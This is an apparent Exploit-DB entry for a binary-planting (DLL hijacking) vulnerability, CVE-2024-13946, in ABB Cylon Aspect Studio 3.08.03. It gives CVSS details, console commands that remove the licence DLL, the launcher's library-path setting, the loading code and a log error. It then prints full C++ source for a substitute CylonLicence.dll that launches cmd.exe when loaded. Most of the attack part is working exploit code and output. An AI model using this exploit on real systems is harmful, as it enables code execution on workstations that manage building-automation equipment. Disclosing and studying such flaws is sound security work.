ABB Cylon Aspect Studio 3.08.03 – Binary Planting

Exploit Details

Basic Information

Exploit Title ABB Cylon Aspect Studio 3.08.03 – Binary Planting
Exploit ID EDB-ID:52306
Type exploitdb
Published 2025-05-25T00:00:00
Modified 2025-05-25T00:00:00

CVSS Information

CVSS Score 7.1
Severity HIGH
Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/SC:H/VI:L/SI:L/VA:L/SA:L

CVE Information

  • CVE-2024-13946

Exploit Description

Exploit Title: ABB Cylon Aspect Studio 3.08.03 – Binary Planting Vendor: ABB Ltd. Product web page: https://www.global.abb Affected version: <=3.08.03 Tested…

Exploit Code

# Exploit Title: ABB Cylon Aspect Studio 3.08.03 – Binary Planting

# Vendor: ABB Ltd.

# Product web page: https://www.global.abb

# Affected version: <=3.08.03
# Tested on: Microsoft Windows 10 Home (EN) OpenJDK 64-Bit Server VM Temurin-21.0.6+7

# Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic @zeroscience

# Advisory ID: ZSL-2025-5952

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5952.php

# CVE ID: CVE-2024-13946

# CVE URL: https://www.cve.org/CVERecord/SearchResults?query=CVE-2024-13946

C:\> type project

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C:\Aspect\Aspect-Studio-3.08.03> del CylonLicence.dll

C:\Aspect\Aspect-Studio-3.08.03> type aspect.bat

REM 64bit parameters

jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding=”UTF-8″ -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar

C:\Aspect\Aspect-Studio-3.08.03-a09>aspect.bat

C:\Aspect\Aspect-Studio-3.08.03-a09>REM 64bit parameters

C:\Aspect\Aspect-Studio-3.08.03-a09>jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding=”UTF-8″ -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar

C:\Aspect\Aspect-Studio-3.08.03> type AspectStudio.class





System.loadLibrary(“CylonLicence”);

} catch (Throwable t) {}

LoggerUtil.logger.error(“Error loading license DLL”, t);

}

}



C:\Aspect\Aspect-Studio-3.08.03> cd logs

C:\Aspect\Aspect-Studio-3.08.03\logs>type AspectStudio.log

ERROR: 2025-01-16 16:47:58,579 Error loading license DLL [main]

java.lang.UnsatisfiedLinkError: no CylonLicence in java.library.path

at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1867)

at java.lang.Runtime.loadLibrary0(Runtime.java:870)

at java.lang.System.loadLibrary(System.java:1122)

at com.aamatrix.util.AspectStudio.(AspectStudio.java:42)

at com.aamatrix.vib.rrobin.CylonLicense.(CylonLicense.java:18)

at com.aamatrix.vib.rrobin.LicenseService.(LicenseService.java:38)

at com.aamatrix.vib.rrobin.LicenseService.(LicenseService.java:34)

at com.aamatrix.projectmanager.AspectStudio.(AspectStudio.java:52)

at java.lang.Class.forName0(Native Method)

at java.lang.Class.forName(Class.java:348)

at com.aamatrix.projectmanager.AspectStudioLauncher.main(AspectStudioLauncher.java:70)



C:\DLL-Mala> type CylonLicence.cpp

#define WIN32_LEAN_AND_MEAN

#include

#include

extern “C” __declspec(dllexport)

DWORD WINAPI ExecuteCmdThread(LPVOID lpParam) {

ShellExecuteW(NULL, L”open”, L”cmd.exe”, L”/c start”, NULL, SW_SHOWNORMAL);

return 0;

}

extern “C” __declspec(dllexport)

BOOL APIENTRY DllMain(HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved) {

switch (ul_reason_for_call) {

case DLL_PROCESS_ATTACH:

CreateThread(NULL, 0, ExecuteCmdThread, NULL, 0, NULL);

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

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